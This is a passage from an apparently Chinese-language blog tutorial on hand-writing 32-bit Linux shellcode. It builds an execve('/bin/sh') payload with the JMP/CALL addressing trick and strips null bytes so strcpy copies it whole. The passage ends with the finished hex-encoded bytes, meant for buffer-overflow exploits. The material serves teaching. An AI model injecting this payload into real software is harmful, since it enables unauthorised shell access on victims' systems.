linux 生成shellcode,书写Linux下自己的shellcode

: movl 0x10(%ebp),%edx

将NULL的地址赋给edx

0x80002ce : int $0x80

产生系统调用,进入核心态运行.

------------------------------------------------------------------------------------

看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:

leal string,string_addr

movl $0x0,null_addr

movl $0xb,%eax

movl string_addr,%ebx

leal string_addr,%ecx

leal null_string,%edx

int $0x80

(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)

string db "/bin/sh",0

string_addr dd 0

null_addr  dd 0

-------------------------------------------------------------------------------------

但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程序执行

时在内存中所处的位置,所以像:

movl string_addr,%ebx

这种需要将绝对地址编码进机器语言的指令根本就没法使用.

解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使

用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在ShellCode的最开始加

入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序编码的字节长度

,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在

执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们

就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还

可以很方便地存取string_addr和null_addr.

------------------------------------------------------------------------------

经过上面的修改,我们的ShellCode变成了下面的样子:

jmp 0x20

popl esi

movb $0x0,0x7(%esi)

movl %esi,0x8(%esi)

movl $0x0,0xC(%esi)

movl $0xb,%eax

movl %esi,%ebx

leal 0x8(%esi),%ecx

leal 0xC(%esi),%edx

int $0x80

call -0x25

string db "/bin/sh",0

string_addr dd 0

null_addr  dd 0 # 2 bytes,跳转到CALL

# 1 byte, 弹出string地址

# 4 bytes,将string变为以'\0'结尾的字符串

# 7 bytes

# 5 bytes

# 2 bytes

# 3 bytes

# 3 bytes

# 2 bytes

# 5 bytes,跳转到popl %esi

------------------------------------------------------------------------------------

我们知道C语言中的字符串以'\0'结尾,strcpy等函数遇到'\0'就结束运行.因此

为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含

有'\0'. 下面我们就对它作最后一次改进,去掉其中的'\0':

原指令:          替换为:

--------------------------------------------------------

movb $0x0,0x7(%esi)    xorl %eax,%eax

movl $0x0,0xc(%esi)    movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

--------------------------------------------------------

movl $0xb,%eax       movb $0xb,%al

--------------------------------------------------------

OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式.

------------------------------------------------------------------------------

void main() {

__asm__("

jmp 0x18       # 2 bytes

popl %esi      # 1 byte

movl %esi,0x8(%esi) # 3 bytes

xorl %eax,%eax    # 2 bytes

movb %eax,0x7(%esi) # 3 bytes

movl %eax,0xc(%esi) # 3 bytes

movb $0xb,%al    # 2 bytes

movl %esi,%ebx    # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int $0x80      # 2 bytes

call -0x2d      # 5 bytes

.string \"/bin/sh\" # 8 bytes

");

}

------------------------------------------------------------------------------

经过编译后,用gdb得到这段汇编语言的机器代码为:

\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b

\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xec\xff\xff\xff/bin/sh

接着我们就可以利用这段代码编写溢出程序了。(具体方法可以参考“缓冲区溢出机理分析”)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值